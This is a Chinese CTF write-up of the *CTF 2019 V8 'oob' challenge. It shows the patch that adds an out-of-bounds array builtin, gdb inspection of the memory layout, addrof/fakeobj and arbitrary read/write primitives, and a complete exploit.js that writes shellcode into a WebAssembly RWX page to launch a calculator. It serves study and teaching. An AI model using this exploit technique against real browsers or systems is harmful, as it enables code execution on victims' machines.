1
环境搭建
# 全局vpn
# 下载Google的环境部署工具
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# 配置环境变量
echo "export PATH=/home/pwn/tools/depot_tools:$PATH" >> ~/.bashrc
# 获取v8源码
fetch v8
cd v8
# 切换至指定的commit版本
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
# 工具同步
gclient sync
# 应用题目的补丁文件
git apply ../oob.diff
# 编译release版本
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release
# 编译debug版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug
2
poc测试
~/Desktop/v8/v8/v8/out.gn/x64.release$ ./d8 /home/srp8ve7ou2/Desktop/v8/starctf2019/wasm_pwn.js
3
diff文件
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
4
基本的调试方法
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
# 输出obj对象的内存信息
1、%DebugPrint(obj);
# 控制权从d8转交给gdb调试器,方便观察内存数据
2、%SystemBreak();
double浮点数类型:为64位浮点数的正常表示
smi整数类型:低32位为0,高32位为该整数
指针类型:最低位永远为1
5
v8 Array对象的内存布局
srp8ve7ou2@vm:~/Desktop/v8/v8/v8/out.gn/x64.debug$ gdb d8
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
93 commands loaded for GDB 9.2 using Python engine 3.8
[*] 3 commands could not be loaded, run `gef missing` to know why.
Reading symbols from d8...
gef➤ run --allow-natives-syntax
Starting program: /home/srp8ve7ou2/Desktop/v8/v8/v8/out.gn/x64.debug/d8 --allow-natives-syntax
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7ffff3a87700 (LWP 15179)]
V8 version 7.5.0 (candidate)
d8> var a = [1.1,2.2]
undefined
d8> %DebugPrint(a)
DebugPrint: 0x2013f4c4dd79: [JSArray]
- map: 0x1f8bf2202ed9 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x20ef3d611111 <JSArray[0]>
- elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> [PACKED_DOUBLE_ELEMENTS]
- length: 2
- properties: 0x0838ec040c71 <FixedArray[0]> {
#length: 0x2c439fb801a9 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x2013f4c4dd59 <FixedDoubleArray[2]> {
0: 1.1
1: 2.2
}
0x1f8bf2202ed9: [Map]
- type: JS_ARRAY_TYPE
- instance size: 32
- inobject properties: 0
- elements kind: PACKED_DOUBLE_ELEMENTS
- unused property fields: 0
- enum length: invalid
- back pointer: 0x1f8bf2202e89 <Map(HOLEY_SMI_ELEMENTS)>
- prototype_validity cell: 0x2c439fb80609 <Cell value= 1>
- instance descriptors #1: 0x20ef3d611f49 <DescriptorArray[1]>
- layout descriptor: (nil)
- transitions #1: 0x20ef3d611eb9 <TransitionArray[4]>Transition array #1:
0x0838ec044ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) -> 0x1f8bf2202f29 <Map(HOLEY_DOUBLE_ELEMENTS)>
- prototype: 0x20ef3d611111 <JSArray[0]>
- constructor: 0x20ef3d610ec1 <JSFunction Array (sfi = 0x2c439fb8aca1)>
- dependent code: 0x0838ec0402c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
[1.1, 2.2]
d8>
gef➤ x/4gx 0x2013f4c4dd79-1
0x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c71
0x2013f4c4dd88: 0x00002013f4c4dd59 0x0000000200000000
gef➤ x/10gx 0x2013f4c4dd59-1
0x2013f4c4dd58: 0x00000838ec0414f9 0x0000000200000000
0x2013f4c4dd68: 0x3ff199999999999a 0x400199999999999a
0x2013f4c4dd78: 0x00001f8bf2202ed9 0x00000838ec040c71
0x2013f4c4dd88: 0x00002013f4c4dd59 0x0000000200000000
0x2013f4c4dd98: 0x00000838ec040941 0x00000adce0993e5a
6
利用越界读写map来实现任意地址读写功能。
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
function addrof(in_obj) {
obj_arr[0] = in_obj;
obj_arr.oob(map2);
let addr = obj_arr[0];
obj_arr.oob(map1);
return ftoi(addr);
}
function fakeobj(addr) {
fl_arr[0] = itof(addr);
fl_arr.oob(map1);
let fake = fl_arr[0];
fl_arr.oob(map2);
return fake;
}
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
function arb_read(addr) {
if (addr % 2n == 0)
addr += 1n;
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
return ftoi(fake[0]);
}
任意地址写功能实现起来比较麻烦,不能直接利用fakeobj来任意写(会报错),还需要通过ArrayBuffer和DataView来实现具体的功能,具体的原因和过程我并没深究:
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
7
完成最后的利用
8
exploit.js
/// Helper functions to convert between float and integer primitives
var buf = new ArrayBuffer(8); // 8 byte array buffer
var f64_buf = new Float64Array(buf);
var u64_buf = new Uint32Array(buf);
function ftoi(val) { // typeof(val) = float
f64_buf[0] = val;
return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n); // Watch for little endianness
}
function itof(val) { // typeof(val) = BigInt
u64_buf[0] = Number(val & 0xffffffffn);
u64_buf[1] = Number(val >> 32n);
return f64_buf[0];
}
/// Construct addrof primitive
var temp_obj = {"A":1};
var obj_arr = [temp_obj];
var fl_arr = [1.1, 1.2, 1.3, 1.4];
var map1 = obj_arr.oob();
var map2 = fl_arr.oob();
function addrof(in_obj) {
// First, put the obj whose address we want to find into index 0
obj_arr[0] = in_obj;
// Change the obj array's map to the float array's map
obj_arr.oob(map2);
// Get the address by accessing index 0
let addr = obj_arr[0];
// Set the map back
obj_arr.oob(map1);
// Return the address as a BigInt
return ftoi(addr);
}
function fakeobj(addr) {
// First, put the address as a float into index 0 of the float array
fl_arr[0] = itof(addr);
// Change the float array's map to the obj array's map
fl_arr.oob(map1);
// Get a "fake" object at that memory location and store it
let fake = fl_arr[0];
// Set the map back
fl_arr.oob(map2);
// Return the object
return fake;
}
var arb_rw_arr = [map2, 1.2, 1.3, 1.4];
console.log("[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString(16));
function arb_read(addr) {
// We have to use tagged pointers for reading, so we tag the addr
if (addr % 2n == 0)
addr += 1n;
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to read_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Index 0 will then return the value at read_addr
return ftoi(fake[0]);
}
function initial_arb_write(addr, val) {
// Place a fakeobj right on top of our crafted array with a float array map
let fake = fakeobj(addrof(arb_rw_arr) - 0x20n);
// Change the elements pointer using our crafted array to write_addr-0x10
arb_rw_arr[2] = itof(BigInt(addr) - 0x10n);
// Write to index 0 as a floating point value
fake[0] = itof(BigInt(val));
}
function arb_write(addr, val) {
let buf = new ArrayBuffer(8);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
dataview.setBigUint64(0, BigInt(val), true);
}
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod);
var f = wasm_instance.exports.main;
var rwx_page_addr = arb_read(addrof(wasm_instance)-1n+0x88n);
console.log("[+] RWX Wasm page addr: 0x" + rwx_page_addr.toString(16));
function copy_shellcode(addr, shellcode) {
let buf = new ArrayBuffer(0x100);
let dataview = new DataView(buf);
let buf_addr = addrof(buf);
let backing_store_addr = buf_addr + 0x20n;
initial_arb_write(backing_store_addr, addr);
for (let i = 0; i < shellcode.length; i++) {
dataview.setUint32(4*i, shellcode[i], true);
}
}
// https://xz.aliyun.com/t/5003
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
console.log("[+] Copying xcalc shellcode to RWX page");
copy_shellcode(rwx_page_addr, shellcode);
console.log("[+] Popping calc");
f();
参考链接:
看雪ID:srp8ve7ou2
https://bbs.pediy.com/user-home-901712.htm
# 往期推荐
1. 新人PWN入坑总结
2. 数据库注入wp分析心得
4. Cisco RV160W系列路由器漏洞:从1day分析到0day挖掘
球分享
球点赞
球在看
点击“阅读原文”,了解更多!